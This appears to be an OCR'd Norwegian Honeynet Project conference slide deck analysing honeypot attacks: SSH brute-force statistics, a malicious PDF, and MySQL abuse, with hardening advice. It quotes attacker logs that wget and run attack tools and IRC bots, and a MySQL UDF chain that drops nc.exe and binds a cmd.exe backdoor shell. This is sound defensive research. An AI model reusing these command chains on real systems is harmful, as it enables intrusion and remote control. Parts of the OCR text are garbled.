TS .r'Jq.r.l /.us:
P R O | T

Analyse av angrep

ISF h¢ stkonferanse

Einar Oftedal einar.oftedal@honeynet.or
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Speaker

| Einar Oftedal
| 10+ (Er innen IT-sikkerhet

I NetPower (ISP)

I Nasjonal sikkerhetsmyndighet (NSM)

I The Honeynet Project
I Chapter Lead, Norway
l Geek
17 Er

Einar Oftedal (einar.oftedal@honeynet.orq)
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Agenda

I Kort om the Honeynet Project
I IDS evasion pE lag 7

I SSH angrep

I PDF exploit-analyse

I MySQL angrep

Einar Oftedal (einar.oftedal@honeynet.orq)
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Problem

How can we defend against an enemy Iif we
donOt know who the enemy is or why they
might be attacking us?

(Lance Spitzner)

Einar Oftedal (einar.oftedal@honeynet.orq)
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Honeypot

I Honeypot - felle
I Low-interaction -> High-interaction

I Honeynett - et nettverk av honeypots

Einar Oftedal (einar.oftedal@honeynet.orq)
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The Honeynet Project

I En frivillig internasjonal organisasjon med fokus
P It-sikkerhetsproblematikk.

| Startet 1 1999

| Mission: —learn the tools, tactics and motives
iInvolved In computer and network attacks, and
share the lessons learned-

http://www.honeynet.org

Einar Oftedal (einar.oftedal@honeynet.orq)



mailto:david@honeynet.org.uk
mailto:david@honeynet.org.uk

— T H E H ONEYNET PR OJETCT

The Honeynet Project

Directors Board of Advisors

- Communications
Officers Pe

Finance
Bylaws
R&D
Membership

Legal & Ethics
Chapters Infrastructure

“'N{rw‘éiaﬂ“‘
v

Full Members Contributors
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Norwegian Chapter

I 10 geeks
I Analyserer IKT-trusler relatert til Norge

I Blog: www.honeynor.no

Einar Oftedal (einar.oftedal@honeynet.orq)
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HP Chapters (19 globally)

Tns rlonsyne:?

Chapters World Map

Einar Oftedal (einar.oftedal@honeynet.orq)
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aterm

nkrakvik@conp: /tap/uin32s []

Einar Oftedal (einar.oftedal@honeynet.orq)
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SSHPOT

| SSH - Secure Shell

I SSHPOT - Modifisert versjon av OpenSSH
I Logger brukernavn og passord til database

I Installert flere steder | Norge

I MEI: Analyse av SSH brute-force angrep

Einar Oftedal (einar.oftedal@honeynet.orq)
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Data

I Periode: desember 2007 - august 2008
I 1155 unike IP-adresser | perioden
I Fra 84 forskjellige land

1 122 (9,7%) adresser har angrepet alle nodene
(honeypots)

Einar Oftedal (einar.oftedal@honeynet.orq)
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Topp 5 - brukernavn

Einar Oftedal (einar.oftedal@honeynet.orq)
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Topp 5 - brukernavn

400 000

347 01|

300 000

200 000

100 000

28 BO3 ‘ :
adn-" n 23 090 J
test

Einar Oftedal (einar.oftedal@honeynet.orq)
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Topp 5 - kombinasjoner

Einar Oftedal (einar.oftedal@honeynet.orq)
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Topp 5 - kombinasjoner

2 999

2 742
2 506
2 506
root/root _
test/test
root/ 12345

admin/admin

root/passwor

Einar Oftedal (einar.oftedal@honeynet.orq)
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@ Brukernavn = passord
Passord likner pa brukernavn
Forskjellig

Einar Oftedal (einar.oftedal@honeynet.orq)



mailto:david@honeynet.org.uk
mailto:david@honeynet.org.uk

— T H E H ONIEYNET P R OJECT

@ Brukernavn = passord
@ Passord likner pa brukernavn

O Forskjellig

42%

Einar Oftedal (einar.oftedal@honeynet.orq)
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Passord statistikk

Einar Oftedal (einar.oftedal@honeynet.orq)
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Passord statistikk

Kun spesialtegn

0,4%

Bokstaver og tall
14,2%

Bokstaver
72,9%

Kun tall
8,3%

Einar Oftedal (einar.oftedal@honeynet.orq)
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Lengde har noe a si!

Einar Oftedal (einar.oftedal@honeynet.orq)



mailto:david@honeynet.org.uk
mailto:david@honeynet.org.uk

— T H E H ONEYNET PR OJECT

Lengde har noe a si!
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200 000
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Einar Oftedal (einar.oftedal@honeynet.orq)
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Opprinnelsesiand

682324
387822.69
194240.83
79652.18

22675.64

2545.82 » SSH Bruteforce Attacks
1 . The HAunayne:
r R ed | | www.honeynor.no
Einar Oftedal (einar.oftedal@honeynet.org)
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Hva gjor de?

I Endrer passord(!)

I Sjekker systemet

I IRC bouncere

I IRC bot (botinfisering)

| Fors¢ ker Oprivilege escalationO
| Starter ssh-angrep

Einar Oftedal (einar.oftedal@honeynet.orq)



— T H E H ONEYNET PR OJECT

Eksempel 1

| Accepted password for test from 220.113.15.74 port
51366 ssh2.

| Inn/ut = 6 sekund
| Automatisert

I 1 minutt senere logger samme bruker inn
I Fra en Italiensk IP (79.7.131.45)

I putty(!)
| laster opp unixcod

I 5 minutter senere
I SSH brute-force (ordliste pE 30158&ombinasjoner)

Einar Oftedal (einar.oftedal@honeynet.orq)
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Eksempel 1

| Accepted password for test from 220.11° ° = T4
51366 ssh2. b

cat /proc/cpuinfo
I Inn/ut = 6 sekund passwd

| Automatisert Is

| 1 minutt senere logger samme bruker In cd unixcod
' 99 chmod +x *

I Fra en Italiensk IP (79.7.131.45) Junix 219.65

| putty(") Is

| laster opp unixcod jﬁﬁii 219.65

I 5 minutter senere Junix 219.
| SSH brute-force (ordliste pE 30158&ombin -/unix 219

Einar Oftedal (einar.oftedal@honeynet.orq)
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Eksempel 2:
Brute force verktoy

1.w

2.uname -a

3.passwd

4.cat /proc/cpuinfo

S.wget www.geocities.com/soznam/ab.tar.gz
6.tar zxvf ab.tar.gz

7.rm -rf ab.tar.gz

8.cd piata

9.chmod +x *

10../a 213.161

Einar Oftedal (einar.oftedal@honeynet.orq)
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IRC bouncer

1.wget beta.ucoz.com/psybnc.tgz
2.tar -zxvi psybnc.tgz
3.cd psybnc-linux/psybnc

4.chmod +x *
S../psybnc

Einar Oftedal (einar.oftedal@honeynet.orq)
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IRC bouncer

1.wget beta.ucoz.com/psybnc.tgz

2 .tar -zxvt nsvhnc.toz
SYBNC.SYSTEM.PORT1=31337

PSYBNC.SYSTEM.HOST1=*

4.ch PSYBNC.HOSTALLOWS.ENTRY 0=*:*

5.1 USER1.USER.LOGIN=charly
USER1.USER.USER=0v1

USER1.USER.PASS=="720M'a'v'g'P0104 s

USERI.CHANNELS.ENTRY O=#mikadme

3.CC

Einar Oftedal (einar.oftedal@honeynet.orq)



mailto:david@honeynet.org.uk
mailto:david@honeynet.org.uk

— T H E H ONEYNET PR OJECT

IRC bot

1.wget www12.asphost4iree.com/Ionut/emech-linux.gz
2.tar zxvi emech-linux.gz
3.rm -rf emech-linux.gz

4.cd .kde
5../start charly25
6../go mikadme

Einar Oftedal (einar.oftedal@honeynet.orq)
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Anbefalinger

I Velg en annen port
I Gode passord
I Bruk sertifikat

I denyhost

I Ikke tillat root (E logge Inn via ssh
I Bruk av port-knocking

Einar Oftedal (einar.oftedal@honeynet.orq)
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| O.. an attacker only needs 525 systems to scan

the entire IP4 of today's public Internet in just one
day. If you have a publicly accessible SSH server,

you are very likely to be targeted by one of these
attacks. (O Christian Seifert / NZ chapter

Einar Oftedal (einar.oftedal@honeynet.orq)
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flashdoc_1_.pdf

Einar Oftedal (einar.oftedal@honeynet.orq)
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flashdoc_1_.pdf

Fileflasshdoc_1 _pd¥ received on0E, 13,2008 11:51:04 ({CET)
Current stehus:finished
Result: 0736 (0%

Einar Oftedal (einar.oftedal@honeynet.orq)



Analysing malicious PDF
documents and shellcode

The Honeynet Project
Norwegian Chapter




T H E H ONIEYNET P R OJECT

“—_— VI RU S Virustotal is a service that analyzes suspicious
files and facilitates the quick detection of viruses,

| T T A L worms, trojans, and all kinds of malware detected
‘ by antivirus engines. More information...

File flashdoc_1_.pdf received on 09.02.2008 15:19:43 (CET)
Current status: finished
Result: 3/36 (8.34%)

»@« Compact Print results &

Antivirus Version Last Update

AhnLab-V3 2008.9.3.0 2008.08.02
7.8.1.23 2008.09.
5.1.0.4 2008.08.C
4.8.1195, 2008.09.

2008.098.02

Einar Oftedal (einar.oftedal@honeynet.orq)




by antivirus engines. More inform:

File flashdoc_1_.pdf received on 09.02.2008 15:19:43 (CET)
Current status: finished
Result: 3/36 (8.34%)

Version Last Update

2008.8.3.0 2008.0%8.02 R
7.8.1.23 2008.08.02 EXP/PDF.T
5.1.0.4 2008.0%8.02 R
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MySQL honeypot

I MySQL - en Open Source SQL server
I root bruker uten passord
| epen direkte og via phpmyadmin

I Installert pE Ubuntu Linux

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (1/2)

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (1/2)

| Angriper logger inn og lager tabell OFILEDATAO

| CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (1/2)

| Angriper logger inn og lager tabell OFILEDATAO

| CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;

l INSERT til tabell

| INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (1/2)

| Angriper logger inn og lager tabell OFILEDATAO

| CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=M

l INSERT til tabell

| INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

PE fil

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (1/2)

| Angriper logger inn og lager tabell OFILEDATAO

| CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=M

| INSERT til tabell PE il

| INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

I Pr¢ver (E opprette filer p(E disk

| SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\winnt\\system32\\shell64.dll'
|  SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'D:\\winnt\\system32\\shell64.dll’

|  SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'E:\\winnt\\system32\\shell64.dll'

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (1/2)

| Angriper logger inn og lager tabell OFILEDATAO

| CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=M

| INSERT til tabell PE A

| INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

I Pr¢ver (E opprette filer p(E disk

| SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\winnt\\system32\\shell64.dll'
|  SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'D:\\winnt\\system32\\shell64.dll’

|  SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'E:\\winnt\\system32\\shell64.dll'

I Igjen: Pr¢ ver (E opprette netcat p(E disk

| SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\nc.exe';

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (2/2)

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (2/2)

| Lager en ny OFUNCTIONO

| CREATE FUNCTION my name returns STRING soname 'shell64';

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (2/2)

| Lager en ny OFUNCTIONO

| CREATE FUNCTION my name returns STRING soname 'shell64';

| Pr¢,ver (E (Epne den:

| select my name('start cmd.exe /c c:\\nc.exe -1 -p 21000 -t -d -e
cmd.exe');

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (2/2)

| Lager en ny OFUNCTIONO

| CREATE FUNCTION my name returns STRING soname 'shell64';

| Pr¢,ver (E (Epne den:

| select my name('start cmd.exe /c c:\\nc.exe -1 -p 21000 -t -d -e
cmd.exe');

| nc.exe - Netcat

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (2/2)

| Lager en ny OFUNCTIONO

| CREATE FUNCTION my name returns STRING soname 'shell64';

| Pr¢,ver (E (Epne den:

| select my name('start cmd.exe /c c:\\nc.exe -1 -p 21000 -t -d -e
cmd.exe');

| nc.exe - Netcat

Einar Oftedal (einar.oftedal@honeynet.orq)
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MySQL misbruk (2/2)

| Lager en ny OFUNCTIONO

| CREATE FUNCTION my name returns STRING soname 'shell64';

| Pr¢,ver (E (Epne den:

| select my name('start cmd.exe /c c:\\nc.exe -1 -p 21000 -t -d -e
cmd.exe');

| nc.exe - Netcat

I Konklusjon: Angriper pr¢ver (E (Epne en bakdgr
pE port 21000, men angrep er laget for Windows

Einar Oftedal (einar.oftedal@honeynet.orq)
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The Honeynet -
Learning More

Know Your Enemy: Learning About Security Threats
(The Honeynet Project)
ISBN-10: 0321166469

KNOU! http://www.honeynet.org/book/index.html
YUUR ENENY

f ERDRNT SECORITY TRRENIS

VIRTUAL

ISBN-10: 0321336321

http://www.honeynor.no

Einar Oftedal (einar.oftedal@honeynet.orq)
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